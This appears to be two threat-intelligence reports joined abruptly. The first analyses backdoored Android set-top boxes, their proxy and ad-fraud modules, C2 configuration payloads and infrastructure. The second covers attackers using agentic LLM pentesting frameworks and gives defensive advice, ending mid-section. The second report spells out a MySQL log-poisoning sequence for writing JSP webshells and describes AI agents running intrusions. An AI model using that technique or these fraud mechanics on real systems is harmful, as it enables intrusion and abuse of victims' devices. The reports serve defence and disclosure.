The Traffmonetizer SDK is initialized inside the primary background service com.abc.nexus.service.CoreService. CoreService operation depends on the availability of policy JSON provided by the XCPE backdoor via IPC. Before calling Traffmonetizer SDK initialization methods, the application obtains a Traffmonetizer SDK API key from the native library libnative_keys.so by calling its getTraffmonetizerKey() function. 

Traffmonetizer functionality is split between two components where the Android SDK acts as a state machine which handles native library callbacks through asynchronous event dispatchers. ServiceBloc monitors connection status updates from the native callbacks and ConnectivityBloc monitors Wi-Fi and mobile data network changes. 

Traffmonetizer native library initialization and configuration is followed by a call to baseClientStart() which establishes a WebSocket connection to a C2 server. Traffmonetizer uses a single WebSocket (TLS) connection to the command and control server to multiplex control messages and tunneled connections (supports both TCP and UDP). Traffmonetizer also supports “Content Delivery” tunneling which allows nodes to tunnel bandwidth-intensive traffic.

EarnFM

EarnFM is a residential proxy provider, and Fleet SDK is the provider’s SDK that enrolls devices as exit nodes into the proxy network. In com.abc.nexus, FleetSDK is initialized by com.gaganode.sdk as mentioned above. FleetSdk then loads native binary libfleetshare.so. 

FleetSDK establishes a persistent WebSocket connection with its primary C2 server for routing arbitrary network traffic. Incoming tasking frames are received over the WebSocket channel and processed in a continuous loop. Messages contain structured JSON commands instructing the daemon to connect to specific remote hosts, with support for both TCP and UDP.

Backdoor Modules

Spirit

Spirit is a dynamic code loading backdoor. Spirit employs multiple stages. The first stage payload fetches device information (hardware, operating system, and manufacturer/brand information and geolocation), posting it over HTTP to a hardcoded C2 server, and fetches a list of additional modules to download from the server. The second stage communicates with a separate server, and is used for tasking, config sync, module retrieval, heartbeats, and reporting. We have observed Spirit loading a significant amount of additional malware monetization modules, including some of the families already directly loaded by com.abc.nexus.

Moyu

Moyu is a 3-stage backdoor previously observed as part of the BadBox enterprise. On x.cpe-backdoored devices, we observed it initialized by com.abc.nexus.service.DevourService. The first stage is an offline dropper that reconstructs and loads an embedded second stage. Stage two polls an update C2 to download, decrypt, and load the third stage. Stage three implements a backdoor with hidden Double-WebView click/conversion fraud, persistent clipboard hijacking, and secondary dynamically loaded JAR execution and a separate residential proxy trojan.

Bird

Bird is a 2-stage backdoor previously tied to the BadBox enterprise. Stage 1 beacons a device and analysis-environment profile to its C2 server and, when the server approves, downloads, decrypts, and loads the Stage 2 JAR. Stage 2 implements a dynamic code loading backdoor (two plugin loaders plus a C2-driven reflective method invoker), a separate downloader (silent APK installation and Accessibility-driven Google Play installs), and ad abuse (lockscreen ads, overlays, browser launches).

Fission

Fission is a dynamic code loading (DCL) backdoor embedded within standard video applications (e.g., com.newtv.cboxtv). Upon initialization, the first stage plugin contacts its C2 server to download additional modules. The decrypted second stage payload fetches execution targets and tracking URLs from the C2. The request sends an unencrypted POST request with tracking metrics from the internal DeviceManager.

The payload we observed was configured to commit ad fraud. Rather than rendering visible advertisements in a WebView or UI component, the Stage 2 plugin executes headlessly in the background. The module queries ad server endpoints in the background to retrieve ad placement responses, parses out both primary impression beacons (pvm) and third-party tracking monitor URLs (pvtpm), and immediately fires HTTP GET requests to each tracking endpoint to register a fake ad view without displaying creative content. When executing inside specific smart-TV application stores (com.changhong.appstore or com.tcl.appmarket2), the plugin initializes and triggers the ad SDK directly to report synthetic ad exposures.

Ad-Fraud

HiddenView

We observed HiddenView loaded remotely from the attacker’s Github channel as com.ota.service. It is a standalone ad fraud application capable of running in the background using a transparent window overlay, using hidden WebViews to load targeted web pages and simulate user interaction (scrolling, clicking, typing, media playback), playing media unattended, and capturing the user’s screen.

How the pieces come together 

Configuration messages pushed via MQTT (action ext/lib/config) demonstrate how x.cpe, com.abc.nexus and various monetization modules function together. 

Upon registration, subscribed devices receive a ext/lib/config message, which contains configuration parameters for malicious plugins. This includes:

Limits on system resources:

"constraints": [
    {
      "cpu": 70,
      "ioRead": 5000,
      "ioWrite": 5000,
      "libCode": "linkfog",
      "memory": 50,
      "reportAlarm": true,
      "trigger": 3
    }

Figure 4: System resource limits configuration payload

Module name, download location per architecture, hashes, and weight (relative priority for system resources):

 "infos": [
    {
      "libChannel": "SZKJ",
      "libCode": "linkfog",
      "libResource": [
        {
          "address": "https://github.com/Aviciiii/ott/releases/download/cpe_ext_lib/lw_android_agent_special_ndk_64",
          "architecture": "arm64-v8a",
          "md5": "abd0b6de6fdf78234f5dab098d5dd229"
        },
        {
          "address": "https://github.com/Aviciiii/ott/releases/download/cpe_ext_lib/lw_android_agent_special_ndk_32_20250717",
          "architecture": "armeabi-v7a",
          "md5": "d8971688d1929b6ed915b80eca7e7e3f"
        }
      ],
      "libWeight": 5
    },

Figure 5: Module configuration payload

Devices are assigned to one of six timezone-separated pools on the ott.szbboys[.]com domain:

"region": "Iraq",
  "serverPool": {
    "defaultPool": "Pool5",
    "lastUpdated": "2025-08-06 17:00:00",

Figure 6: Server Pool configuration payload

The “policys” section instructs com.abc.nexus which modules to download and run:

 "status": [
    {
      "enable": true,
      "libCode": "linkfog"
    },
    {
      "enable": false,
      "libCode": "bwm"
    },
    {
      "enable": false,
      "libCode": "adtime"
    },
    {
      "enable": false,
      "libCode": "admoyu"
    },
    {
      "enable": false,
      "libCode": "titan"
    },
    {
      "enable": false,
      "libCode": "lb102"
    }
  ],

Figure 7: Module activation payload

x.cpe passes on these configuration parameters to com.abc.nexus for the given module on the device. Devices report bandwidth usage and alarms back to serverPool to stay within the configured constraints. 

When com.abc.nexus acknowledges receiving the bundle, x.cpe immediately publishes ext/lib/config/reply back to the MQTT broker:

"code": 0,
  "msg": "success",
  "data": "received data success and applying",
  "async": true,
  "immediately": false

Figure 8: x.cpe response payload

Infrastructure

As previously mentioned, devices first connect to various endpoints on *.anyevonline[.]com for initial bootstrap, registration, and configuration. Earlier malware versions used various hostnames of {*tms | *ott | *ota}.szbboys[.]com for the same purpose. 

While earlier versions of the malware used HTTP for C2, and then a blended C2 approach with both HTTP and MQTT, static analysis of current versions indicate they exclusively send/receive C2 communications via MQTT. A single MQTT broker orchestrates all MQTT C2 communications for samples we’ve identified. Hostname mqtt.szbboys[.]com is resolved by hosts 219.134.163[.]210 and 219.134.163[.]211. It listens on non-standard MQTT ports 3885-3887. 

The malware constructs OkHttp requests for file downloads after tasking via the MQTT broker. Files are hosted on several services:

• Several Github release pages

• The filemail[.]com file sharing service

• Two operator-controlled servers hosted on IPs 38.145.197[.]135 and 23.94.49[.]57

Netflow telemetry on the broker nodes (219.134.163[.]210/.211) indicates that while infected devices communicate over ports 3885–3887, operators likely manage the broker and dispatch tasking via interactive HTTP REST API (port 8082), WebSocket (port 8083), and EMQX web administration console (port 18083) sessions originating from non-bot IP space. 

Call to Action

While we believe our actions have seriously impacted over a dozen malicious actors, the underlying illicit market is resilient. Backdoor operators, ad-fraud rings, and residential proxy providers operate as an interconnected supply chain, and when one component is disrupted, operators quickly pivot to new loaders or rival monetization SDKs. Creating lasting change requires accountability across the hardware supply chain, the residential proxy industry, and the broader technology ecosystem.

Accountability and Reform

A device manufacturer intentionally infecting their users with malware is an unacceptable breach of trust. By turning everyday hardware into persistent beachheads for criminal affiliates, Videostrong prioritized illicit post-sale recurring revenue over the safety and privacy of its users. Downstream hardware brands, white-label resellers, telecommunications providers, and online e-commerce marketplaces also share responsibility for closing this vector. Retailers and distributors should require independent security audits from Original Design Manufacturers (ODMs) and swiftly delist manufacturers implicated in supply-chain abuse.

Residential proxy providers have been able to flourish under the guise of legitimate businesses. While some providers may claim to behave ethically and only enroll devices with the clear consent of consumers, any claims of "ethical sourcing" must be backed by transparent, auditable proof of user consent. In our analysis, these proxy operators only seek consent when they are forced due to platform policy and enforcement. Silent opt-in without user consent remains the most prevalent means by which devices are turned into exit nodes.  

Empowering and Protecting the Consumer

Residential proxies are an understudied area of risk for consumers, and more can be done to raise awareness. Consumers should be extremely wary of applications that offer payment in exchange for "unused bandwidth" or "sharing your internet." These applications are primary ways for illicit proxy networks to grow, and could open security vulnerabilities on the device’s home network. We urge users to stick to app stores you trust, review permissions for third-party VPNs and proxies, and ensure built-in security protections like Google Play Protect are active.

Consumers should only purchase connected devices, such as set-top boxes, from reputable manufacturers. Our Android TV website provides the most up-to-date list of partners.

Industry Collaboration

We encourage mobile platforms, ISPs, online marketplaces and other tech platforms to continue sharing intelligence and implementing best practices to identify malicious backdoors, illicit proxy networks, and other harmful software and limit their harms.

Indicators of Compromise

Core Malware Samples

Affiliate Malware

Network Indicators

Written by: Aurora Blum, David Mainor, Rohit Nambiar, Omar ElAhdan, Matthew McWhirt, Will Silverstone, Bhavesh Dhake, Chris Busse

Introduction 

Recent intrusions in which threat actors have been observed weaponizing agentic frameworks to execute highly-automated intrusions has put a spotlight on evolving adversarial use of LLMs. In our September 2026 report, Google Threat Intelligence Group (GTIG) noted that forward leaning adversaries were beginning to transition from basic prompting to agentic workflows and LLM-enabled automation. 

Since this publication, GTIG and Mandiant have observed multiple threat actors abusing the open-source, agentic pentesting frameworks ARTEX, Hexstrike and CAIRN in incident response engagements to conduct a broad range of actions across multiple phases of the attack life cycle. This activity has been seen across the threat landscape, as noted in a recent Wiz report. The emergence of Artex and similar agentic offensive intrusion frameworks underscores a broader shift toward threat actor adoption of open source multi-agent offensive frameworks, as well as potentially custom agentic harnesses.  

This represents a paradigm shift towards intrusions occurring at machine speed, with the automated chaining of complex attack paths scaling intrusions exponentially. While the mechanics of the intrusions remain the same, such as using compromised credentials and targeting unpatched systems, the speed and scale at which frameworks can exploit these known weaknesses introduces a new defensive challenge. Security teams, developers, and system administrators will need to fundamentally rethink defense strategies to counter scalable, autonomous software. We also provide defensive strategies from Mandiant Consulting. The defensive strategies suggested—control-plane isolation, short-lived credentials, least privilege, segmentation, and behavioral detection—are long-standing security best practices. 

Observations in the Wild

We are seeing tools used by adversaries evolving towards autonomous agentic attacks. One way this is occurring is through suites of tools or frameworks designed for penetration testing (“pentesting”). These tools and frameworks orchestrate various agents using open source and frontier LLMs to automate various stages of intrusions. Historically, cyber espionage and financially motivated threat actors have taken advantage of pentesting or red-teaming platforms built for security professionals to exploit systems, such as Cobalt Strike or Metasploit. Today, adversaries are pivoting toward offensive frameworks powered by LLMs. While these frameworks have existed in the wild, they are now yielding success in intrusions in the wild, representing a critical evolution that increases both the speed and scale of intrusion activity. 

Since late August 2026, we have observed threat actors actively operating popular open-source multi-agent pentesting platforms like ARTEX, PentAGI, CAIRN and other potentially custom harnesses within Mandiant incident response engagements; use of these platforms has been further corroborated by our research telemetry. In these incidents, we have observed agentic activity conducting significant parts of the attack lifecycle (e.g., lateral movement, database exploitation, exfiltration preparation). Evidence of in the wild usage of these frameworks marks a critical inflection point for defenders, as agents now autonomously explore multiple attack paths, troubleshoot errors, and achieve objectives in seconds and minutes. Coupled with continual advancements in underlying LLM capabilities, the acceleration in attack velocity and scale signals a notable shift in the threat landscape that fundamentally alters traditional intrusion dynamics.

ARTEX Framework

ARTEX is an autonomous, multi-agent LLM-driven pentesting and offensive command-and-control (C2) platform written in Go with an embedded Next.js web console. The framework was originally developed by the user Autumn-27 and released on GitHub. Although the original repository was taken down by its creator in October 2026 due to widespread threat actor abuse, the framework continues to proliferate globally via community forks, including localized variations such as ScopeWeaver and a commercial version dubbed ARTEX PRO. ARTEX abstracts the attack lifecycle across six specialized sub-agents. By leveraging APIs from frontier and open source models, the framework translates high-level tactical goals into actionable machine commands. GTIG has observed capabilities including automated Active Directory reconnaissance, privilege escalation, target cloud-infrastructure profiling (such as harvesting Azure storage keys), to the synthesis and deployment of custom webshells.

Since late August 2026, ARTEX has been adopted by a diverse range of threat actors across the motivational spectrum, including both financially motivated extortion groups and suspected cyber espionage operators. For example, the Wiz Research team has been tracking a campaign associated with ARTEX, which GTIG tracks as UNC7228, that overlaps with activity tracked by Microsoft as the PRC-nexus actor STORM-0940. The research has expanded Wiz’s understanding of this campaign beyond the October IT focused activity with activity now dating back to at least August 2026. Wiz identified the targeting, compromise, and data theft affecting multiple entities in the US and Europe across the enterprise software, industrial automation, semiconductor manufacturing and design, and telecommunications industry verticals. This actor has moved extremely quickly, typically moving from their first compromised account to deep system access in around four hours and in one case as rapidly as 15 minutes. They have also customized their tooling to take advantage of victim-specific setups and fallen back to open proxies if their initial infrastructure was blocked.

Demonstrating broader adoption of ARTEX, GTIG and Mandiant observed multiple other threat actors using ARTEX for post-compromise reconnaissance, lateral movement, and privilege escalation in incident response investigations. This includes financially motivated threat actors who used the framework to facilitate data theft extortion, and additional suspected PRC-nexus clusters. Their operations collectively impacted organizations across government, technology, chemicals and materials, and manufacturing sectors in the US, alongside public reporting of ARTEX targeting the financial sector in Asia. 

In several cases, adversaries provided ARTEX with compromised credentials for the targeted organization, and instructed the framework to execute subsequent stages of the attack lifecycle. Analysis of these intrusions reveals key differences between activity conducted by the ARTEX framework and that of a human operator:

• Based on log files and timestamps, we identified bursts of activity that would be highly irregular for a human operator. While each of the intrusions exhibited extended pauses during operational phases, individual ARTEX execution sequences ran in compressed bursts of roughly 2 to 25 seconds. In at least one operation, we observed 27 events in 23 seconds of active burst time, performing rapid probing of AWS permissions across different security groups. While preparing potential exfiltration scripts, ARTEX was capable of successfully adapting to errors quoting “script too large” by trimming the script and relaunching it to successfully deploy a 17-snapshot instance in approximately 10 seconds. 

• Compared to a competent human operator, ARTEX achieved code execution in a far more forensically noisy manner, relying on rapid, iterative trial-and-error. In one instance, supplied with valid credentials, ARTEX accessed an external-facing Linux Weaver OA web server to execute SQL commands via exposed API calls. Using legitimately-exposed application-specific API calls, ARTEX was able to achieve partial command-execution to conduct further reconnaissance despite hitting technical complexities. However, this process generated 240 log events and exhibited errors potentially caused by multiple sub-agents overwriting one another while pursuing the same objective. 

• In an attempt to pivot from a database-execution context to a system-execution context, ARTEX used an application-specific SQL API, accessible to the supplied-user credential, to modify the MySQL instance to write log files with a .jsp extension to publicly accessible locations. The SQL-commands executed were likely intended to poison MySQL logs into writing web-accessible JSP webshells.

• Using the API, ARTEX ran SET GLOBAL general_log_file = '<path to webshell>’ followed by SET GLOBAL general_log = 1; subsequent SQL commands were written to the filepath defined in general_log_file. ARTEX then ran SQL SELECT statements in the form `SELECT '<% [webshell content] %>'`. Due to how the underlying Java web servlet handles JSP files, the Java code in the '<% %>' gets parsed and compiled into the process memory space, providing means of execution.

• Log activity shows multiple iterations of the above sequence, with ephemeral, somewhat-incremental file names (cl1217.jsp, f1219a.jsp, z1219.jsp) for each webshell candidate, each one executing a different command. Errors when trying to run the webshell (e.g. variable ‘t is already defined’) caused the webshell to fail and likely had ARTEX refactor its approach, writing several unique webshells, each with a different goal, some correcting previous errors until the .jsp webshells executed cleanly and returned valid command output to ARTEX.

In another case, during access-probing efforts, ARTEX generated files of various extension types with the filename artex-probe-*, where * carried five digit somewhat-incremental numbers. Based on our visibility, it’s difficult to comment on the exact significance of these numbers or how they increment. However, ARTEX was seen using similar incremental numeric markers within dropped file names, created account names, their passwords and within email subjects. 

Observed ARTEX Activity Mapped along the phases of a targeted attack lifecycle 

PentAGI Offensive Framework

GTIG also observed in the wild abuse of PentAGI (Penetration Testing Artificial General Intelligence), an autonomous offensive framework designed to automate the pentesting process within an isolated environment. Developed by VXControl, the framework is offered in an open source and commercial edition. It is designed so that the user only needs to describe a target and a goal, which enables entry-level users to run complex cyber security campaigns. Once the target and the goal have been selected, the framework uses a team of specialized agents, each with their own functionalities to break tasks (called “Flows”) into various sub-tasks, execute each step, and report on it. The tools and commands are all run in isolated sandboxes running Kali Linux instead of in the host environment. All the tools used by PentAGI are open-source pentesting tools available by default in Kali Linux (e.g., metasploit, nmap, SQLmap). The framework supports over a dozen cloud and local LLM backends, including frontier and open weight models.

The majority of observed PentAGI activity remained at the stage of WHOIS asset mapping or active vulnerability scanning. However, analysis of operational artifacts indicates that some operations progressed to active intrusions and persistence across multiple organizations. Operators are also adapting and integrating the framework in different ways. In one case, we identified a customized attack orchestration platform built on the open-source version of PentAGI likely used between at least late August and early October 2026 to conduct systematic reconnaissance and vulnerability scanning against a wide range of organizations in Asia, including system integrators and major telecommunications firms. In another instance, we observed PentAGI chained with proxy services to target the Aerospace sector. 

Evolution of Autonomous Offensive Frameworks

We are seeing a significant maturation in the application of LLM capabilities across the threat landscape in a short period of time; this includes the incorporation of LLM-written malicious code, development of dynamic LLM-enabled malware, poisoning of agent-harness files, and the building of multi-agent offensive frameworks. Notably, between late 2025 and October 2026, autonomous and semi-autonomous offensive frameworks crossed a decisive operational threshold to multi-agent frameworks actively weaponized by threat actors to perform in the wild intrusions. 

GTIG has been tracking the evolution of this experimentation over time, from simple prompting of LLMs to help with coding, through the use of frameworks in the wild towards a potential future with fully autonomous frameworks running intrusions. In a fully autonomous attack, a human’s role would consist of telling the agent what to target, and then simply benefiting from the operational objective. 

At the time of reporting, we assess that the current adversary use of autonomous offensive frameworks is still in early stages characterized by open source tools currently being used in low-sophisticated ways, resulting in broad and noisy, but still successful campaigns. As the sophistication of these frameworks, the underlying LLMs and the orchestrating human-operator increase, we expect to see not only less human interaction, but also increased stealth and sophistication.

The following stages represent our observations of how LLM-augmentation in cyber operations have evolved over the last year and how we expect this development to continue:

Stage 1: Prompt-based use of LLMs

• Activity: Adversaries interact with LLMs in a prompt based chatbot fashion, using LLMs to write and debug code for malware, draft phishing emails, create personas, and conduct light reconnaissance on targets. 

• Evolution: Adversaries outsource low-failure, easy-to-rectify, tasks to an LLM to increase speed of simple discrete tasks. 

• Timeframe: End of 2025 to early 2026

Stage 2: Embedding LLM capabilities into malware

• Activity: Adversaries trust an LLM to take certain low-failure, easy to execute actions, particularly writing code, such as in malware families like HONESTCUE or PROMPTSPY using LLMs dynamically during execution to, for example, obfuscate payloads in different ways in attempts to evade defenses. 

• Evolution: Adversaries begin use incorporating LLMs into post-intrusion attack phases.

• Timeframe: Early 2026

Stage 3: Incorporating LLM-enabled automation into operations

• Activity: As agentic capabilities develop, adversaries begin using them for discrete tasks (e.g., standing up or debugging malware development environments). Agents begin being used alongside human-operators to develop novel exploits and to assist with high-stake vulnerability research. Adversaries begin being more cognizant of OPSEC and visibility into their LLM-usage operations and start using LLM-proxy services to obscure activities. 

• Evolution: LLMs being used for more high-stake tasks but with human operators in the loop. 

• Timeframe: Early 2026 - September 2026 

Stage 4: Developing and experimenting with autonomous frameworks  

• Activity: Adversaries begin developing and experimenting with autonomous frameworks. Campaigns begin offloading more stages of the lifecycle to LLM-augmented tooling, and integrating model APIs into their tools and telegram bots to take autonomous action. 

• Evolution: Experimentation with LLMs running more stages of the attack lifecycle.

• Timeframe: Mid 2026 - September 2026 

Stage 5: Multiple attack lifecycle stages being conducted by LLM-driven tooling in the wild

• Activity: In the wild evidence of multiple attack lifecycle stages being conducted by LLM-driven tooling, with fewer humans in the loop during operations. Observations surrounding mass-exploitation campaigns where a substantial portion of the lifecycle is being carried out by an agent, requiring only minimal human intervention, as well as activity accompanied by malware possessing more autonomous capabilities. Additionally, continued experimentation by threat actors with better obfuscation—including LLM mixers, inference services, local models. Overall TTPs of these attacks remain messy, noisy but yet successful.

• Evolution: Adversaries have actively integrated LLMs into their operations to conduct successful intrusions, while simultaneously exploring ways to obscure/reduce reliance on frontier-lab LLMs. 

• Timeframe: Current stage of development 

Stage 6: Multi-agent-driven, unsophisticated attacks with little to no human interaction 

• Activity: Highly-autonomous, but unsophisticated, forensically noisy operations with human operators no longer in the loop. Adversaries define the target and objective, while multi-agent frameworks execute the entire attack chain and return operational objectives.

• Evolution: Adversaries diversifying infrastructure and tooling, further inhibiting defenders’ visibility.

• Timeframe: Near-term (1 - 3 months)

Stage 7:  Sophisticated, fully autonomous/agentic attacks 

• Activity: This stage represents peak maturity on the offensive LLMs capability curve, characterized not only by fully autonomous intrusions requiring little to no human interaction, but also by increased stealth and sophistication of the activity, with operators interacting with LLMs through either obscurely designed infrastructure or self-hosted LLMs altogether.

• Evolution: This stage would grant autonomous and stealthier operations while limiting defender’s visibility into the activity.

• Timeframe: Medium-term (3 - 6 months)

We believe malicious actors will continue to experiment with these offensive agentic frameworks, moving towards future autonomous usage. GTIG has observed evidence of threat-actor experimentation with tools like the ZeroHollow inference service and the fully agentic framework AgentZero.

Outlook

Over the past 12 months, GTIG has observed a decisive evolution in adversarial tradecraft leveraging LLMs, progressing from ad hoc operational productivity support toward the deployment of coordinated, multi-agent, autonomous offensive frameworks. While earlier milestones documented in our quarterly research highlighted early agentic interest, recent observations across frontline incident response engagements and proactive intelligence collection reveals adversary adoption of these frameworks to automate discrete phases and specific operational tasks during intrusions. Threat actors are increasingly leveraging generative models to achieve unprecedented speed and scale, actively developing more complex attack infrastructure powered by agentic AI capabilities and AI-enabled automation.

Frameworks such as ARTEX compress attack timelines to machine speed; however, they currently trade stealth for velocity. Unrestricted autonomous execution generates forensic traffic, relies on recognizable identifiers, and leaves behind distinct code-level traces, increasing the likelihood of detection and mitigation. These tools are therefore best suited to scenarios in which the cost of detection is low. Additionally, detection and disruption/response are two different functions–simply detecting the attack in time does little to hinder objective completion. 

Consequently, GTIG assesses with high confidence that cyber crime threat actors will continue incorporating autonomous offensive tools into their operations, given that the increased reach of their campaigns will likely compensate for any decreases in success rates. We anticipate that actors, who specialize in stealthy operations designed to maintain long-term access, are less likely to use the publicly available versions of these tools, though they may employ them for purposes of scale and speed, depending on operational priorities. Regardless of motivation, the low barrier to entry, ease of integrating new exploits, and massive scaling potential make autonomous frameworks an attractive, low-cost force multiplier for a wide range of threat actors, making it highly likely that we will continue to see increasing threat actor adoption of these types of frameworks in the near term.

Defending Against AI-Enabled Attacks: Five Layers of Defense

LLM-enabled offensive tooling does not fundamentally change the techniques attackers use. It reduces the time required to combine them. Credential discovery, permission testing, lateral movement, and data access that previously required hours of operator effort can now occur in minutes, frequently through valid identities and supported functionality that static indicators will not detect. Organizations are best positioned to withstand this when compromise of a single identity, credential, or workload provides only limited access. Restricting control-plane exposure, replacing long-lived secrets with short-lived and tightly scoped credentials, segmenting application tiers, and placing guardrails on high-impact business functions all reduce the speed advantage automation provides. Behavioral detection addresses the activity that these controls do not prevent, but it depends on having sufficient identity, control-plane, data-plane, and network telemetry to establish what normal activity looks like. Many of these controls are already familiar to defenders. The difference is that automated tooling can now identify and exploit the gaps between them far more quickly.

As illustrated above, LLM-enabled offensive tooling is increasing the speed and scale of cyber attacks. LLM-enabled and autonomous tools can identify weaknesses, test access, interpret errors, adjust their approach, and continue through an attack path with limited human interaction. Work that might previously have required an operator to investigate an environment, write or modify code, troubleshoot failures, and execute the next step over several hours can increasingly happen in minutes.

This creates a detection challenge as well. Much of the activity may use valid credentials and supported functionality (living-off-the-land, LotL). An attacker may authenticate with a legitimate service principal, call a normal management API, access cloud storage through a supported protocol, or execute commands through an existing administrative interface. Tool names, hashes, IP addresses, and other static indicators provide useful signals when available, but they will not cover much of this activity.

Effective defenses combine two capabilities:

1. Controls that limit what an attacker can do after gaining valid access.

2. Telemetry that shows when an identity, application, or workload begins operating outside its normal pattern.

How Adversarial Use of LLMs Changes the Attacker Timeline

Several themes repeatedly appear during investigations involving LLM-enabled or highly automated attacker activity:

• Speed and scale: Automated tooling can perform broad reconnaissance, test several attack paths at once, react to failures, and immediately continue into follow-on activity. The time between initial access, privilege discovery, lateral movement, and data access can become very short.

• Interconnected environments: Attackers rarely remain inside one technology stack. An internet-facing application may expose credentials in a configuration file. Those credentials may provide access to cloud storage, source repositories, identity systems, or internal infrastructure. Automation makes it easier to discover and test those relationships quickly.

• Legitimate-looking identity activity: Many actions look normal when viewed independently. A service principal authenticates, an API is called, a storage object is downloaded. The stronger signal often comes from context: where the request originated, how much activity occurred, what happened immediately before and after it, and whether the behavior is expected for that identity.

• Control-plane and data-plane blind spots: Many organizations have mature endpoint monitoring but considerably less visibility into management APIs, programmatic identities, and cloud storage activity. Permission testing, retrieval of storage keys, bulk downloads, firewall changes, and management API calls may all be logged without generating useful alerts.

Mandiant recommends structuring enterprise defenses across five foundational layers designed to restrict lateral movement and limit the speed advantage of autonomous tooling:

Table 1: Foundational layers for restricting adversarial LLM speed advantage and lateral movement

Layer 1: Protect the Control Plane

Restrict access to the systems attackers can use to administer, deploy, or reconfigure the environment.

The control plane extends well beyond Active Directory or a cloud console. It includes identity providers, cloud management APIs, network and firewall management platforms, virtualization infrastructure, code repositories, CI/CD systems, privileged access management platforms, backup infrastructure, certificate authorities, SaaS administration consoles, and application administration interfaces.

Why It Is Important

Internet-accessible management interfaces can quickly become part of an attack path after credentials are obtained. For example, Azure App Service includes an administrative interface through Kudu Site Control Manager, or SCM, which supports application deployment and management functionality. If an attacker obtains publishing credentials or another identity capable of accessing that interface, automation can quickly test authentication, enumerate functionality, interact with application files, execute commands, retrieve output, and remove staged artifacts.

Similar exposure exists across firewall administration, virtualization consoles, cloud management APIs, backup platforms, CI/CD interfaces, and other management services. Any reachable administrative path gives an automated attacker another capability to test.

Mitigations

• Reduce Administrative Internet Exposure: Restrict cloud administration, network device management, application publishing interfaces, hypervisors, backup platforms, and other sensitive services to trusted networks, private connectivity, or dedicated administrative paths wherever possible.

• Require Trusted Administrative Paths: Require privileged users to administer sensitive infrastructure from managed devices, privileged access workstations, or approved jump hosts. Pair these controls with phishing-resistant authentication such as FIDO2 or passkeys where supported.

• Harden Application Management Interfaces: Treat application administration and publishing endpoints as privileged infrastructure rather than extensions of the public application.

• Configure access restrictions for Kudu/SCM endpoints separately where appropriate.

• Limit SCM access to approved management networks or deployment infrastructure.

• Disable basic publishing authentication where it is not required.

• Restrict access to deployment and publishing credentials.

• Consider deployment models such as run-from-package that reduce direct modification of deployed application files.

• Control Public Exposure by Design: Establish governance around public IP allocation and require architecture review before workloads or management interfaces are exposed directly to the internet.

• Apply Similar Controls to Programmatic Administration: Where supported, restrict administrative service principals and automation identities to expected networks, workloads, or private connectivity.

• Monitor the Control Plane as a Distinct Security Surface: Centralize authentication, configuration change, deployment, and administrative telemetry from cloud platforms, application administration interfaces, network infrastructure, backup platforms, and other management systems. Alert on administrative access from previously unseen networks, hosting providers, or geographies.

Layer 2: Restrict Identities and Keys

Reduce the value of stolen credentials by limiting their lifetime, permissions, and where they can be used.

Security programs have traditionally placed more emphasis on human identities. Service principals, service accounts, API keys, storage keys, cloud access keys, deployment tokens, personal access tokens, and application secrets can receive less scrutiny despite providing significant access.

Programmatic identities are especially useful to an automated attacker when they combine long-lived credentials, broad permissions, limited conditional controls, and limited monitoring.

Why It Is Important

Consider an exposed cloud storage credential. Once automated tooling discovers the credential in source code, an environment variable, application configuration, a database, or another compromised system, it can immediately test the credential and begin enumerating available data.

A long-lived credential that works from anywhere on the internet and provides broad storage access can turn a single credential exposure into large-scale data access very quickly.

The same pattern applies to service principals and other programmatic identities. A credential intended for an internal CI/CD runner carries considerably more risk when the identity can also authenticate from an arbitrary network  and access production resources.

Credential security therefore needs to address both what an identity can access and the conditions under which that access is valid.

Mitigations

• Prioritize Workload and Programmatic Identities: Apply the same rigor used for privileged human identities to service principals, service accounts, API keys, cloud access keys, application credentials, deployment tokens, and Personal Access Tokens. These identities should have defined owners, lifecycle controls, least privilege, monitoring, and incident response procedures.

• Move From Long-Lived to Short-Lived Credentials: Remove persistent secrets and use temporary or workload-bound credentials wherever possible. 

• Transition from static AWS IAM access keys to temporary credentials through IAM roles.

• Replace Azure Service Principal client secrets with Managed Identities.

• Disallow Azure Storage Account Shared Key Authentication in favor of Entra ID authorization with Conditional Access Policies.

• Use Google Cloud Workload Identity Federation instead of long-lived service-account keys.

• Move from GitHub classic PATs to fine-grained PATs or workload-based authentication such as GitHub Actions OIDC where supported.

• Constrain Both the Where and the What: Limit non-human identities to the APIs, subscriptions, projects, repositories, storage resources, and systems that they actually require. Where supported, restrict the locations and workloads from which those identities can authenticate. A service principal used by an internal CI/CD runner should not also be usable from arbitrary external infrastructure.

• Hardening multi-cloud service principals requires replacing long-lived, static credentials with short-lived tokens and strictly enforcing access controls. Essential approaches across major providers include:

• Google Cloud: Using Workload Identity Federation and targeted IAM constraints.

• AWS: Leveraging OIDC federation combined with Service Control Policies (SCPs).

• Azure: Applying Conditional Access policies to restrict access contextually.

• Okta: Implementing Private Key JWT authentication along with network-restricted Authentication Policies.

• Use private connectivity, expected source ranges, workload federation, resource policies, and IAM conditions where appropriate across cloud platforms.

• Restrict AWS IAM Role Delegation: Tightly control permissions that allow one identity to assign or pass another identity’s privileges. In AWS, restrict iam:PassRole to specific roles and intended services and apply conditions such as iam:PassedToService where appropriate.

• Isolate Credential and Secret Stores: Place enterprise password vaults and secret management systems behind tightly controlled administrative and network paths. Require strong authentication for privileged access, restrict programmatic access to expected workloads and networks where supported, and alert on unusual bulk secret queries, enumeration, or export activity. These detections overlap with legitimate automation; the signal is in the identity, origin, volume, and sequence, not the action. Baseline known-good automation first and alert on deviation, or expect false positives on routine activity.

• Harden Password Reset and Account Lifecycle Processes: Require strong re-authentication or additional identity verification for high-risk password resets and account recovery. Monitor unusual bursts of password resets, account creation, credential additions, permission changes, or other lifecycle activity.

• Automate Secret Hygiene: Implement continuous scanning of repositories, container images, build artifacts, and pipelines for exposed secrets and credentials. Remove credentials from application code, configuration files, deployment scripts, and databases and move them into dedicated secret-management platforms. Rotate exposed credentials promptly rather than relying on removal from source-control history.

Layer 3: Harden Configurations and Reduce Attack Paths

Remove weaknesses that provide an initial foothold and limit how far a compromised workload can reach.

Automated tooling is particularly effective in environments where several smaller weaknesses can be combined into a larger attack path. An exposed application, an overly privileged workload identity, a credential in an environment variable, and unrestricted network access may each appear manageable in isolation. Together, they can provide a direct path into sensitive systems.

Why It Is Important

A vulnerability in an internet-facing application may initially appear isolated. In practice, that application may have access to a backend database. The database may contain credentials. Application environment variables may contain cloud tokens. The underlying host may have an attached cloud identity with access to storage, secrets, or management APIs.

